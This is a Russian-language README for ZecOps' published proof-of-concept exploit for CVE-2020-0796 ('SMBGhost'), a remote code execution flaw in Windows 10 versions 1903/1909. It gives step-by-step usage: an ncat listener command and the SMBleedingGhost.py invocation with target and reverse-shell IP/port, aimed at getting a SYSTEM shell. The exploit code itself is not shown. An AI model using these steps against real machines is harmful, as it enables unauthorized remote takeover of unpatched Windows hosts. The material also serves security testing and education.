
CVE-2020-0796 POC удалённого выполнения кода
(c) 2020 ZecOps, Inc. - https://www.zecops.com - Находите ошибки атакующих
Доказательство концепции удаленного выполнения кода для CVE-2020-0796 / "SMBGhost"
Ожидаемый результат: обратная оболочка с доступом к системе.
Предназначено только для образовательных целей и тестирования в корпоративных средах.
ZecOps не несет ответственности за код, используйте на свой страх и риск.
Пожалуйста, свяжитесь с [email protected], если вы заинтересованы в безагентных инструментах DFIR для серверов, конечных точек и мобильных устройств для автоматического обнаружения SMBGhost и других типов атак.
Убедитесь, что установлены Python и ncat.
Запустите calc_target_offsets.bat на целевом компьютере и отрегулируйте смещения в верхней части файла SMBleedingGhost.py в соответствии с выводом скрипта (также см. примечание ниже).
Запустите ncat со следующими аргументами командной строки:
ncat -lvp <port>
Где <port> — номер порта, на котором будет слушать ncat.
Запустите SMBleedingGhost.py со следующими аргументами командной строки:
SMBleedingGhost.py <target_ip> <reverse_shell_ip> <reverse_shell_port>
Где <target_ip> — IP-адрес уязвимого целевого компьютера. <reverse_shell_ip> и <reverse_shell_port> — IP-адрес и номер порта, на котором слушает ncat.
Если все пройдет хорошо, ncat отобразит оболочку, предоставляющую системный доступ к целевому компьютеру.
Примечание: Возможно, вы задаетесь вопросом, зачем нужно запускать скрипт calc_target_offsets.bat на целевом компьютере и не противоречит ли это самой сути удаленного выполнения кода. Эти смещения не случайны и одинаковы для всех экземпляров Windows одной версии. Можно было бы сделать атаку более универсальной, определив версию целевой Windows и автоматически подстроив смещения, или вообще отказавшись от них, но это всего лишь POC, и мы сделали то, что было проще. Мы также считаем хорошим, что POC не универсален и неудобен для использования в целях, отличных от тестирования и обучения.

Затрагиваются Windows 10 версий 1903 и 1909. Непатченные версии Windows 10 1903 не поддерживаются из-за ошибки разыменования нулевого указателя в Windows (исправлено в KB4512941).
Из-за характера эксплуатации POC лучше всего работает на целях, запущенных на компьютере (или ВМ) с одним логическим процессором. Цели с более чем одним логическим процессором, работающие в VirtualBox, также должны поддерживаться, но в этом случае POC менее надежен. Другие цели могут не поддерживаться. Подробнее см. в нашей технической статье ниже.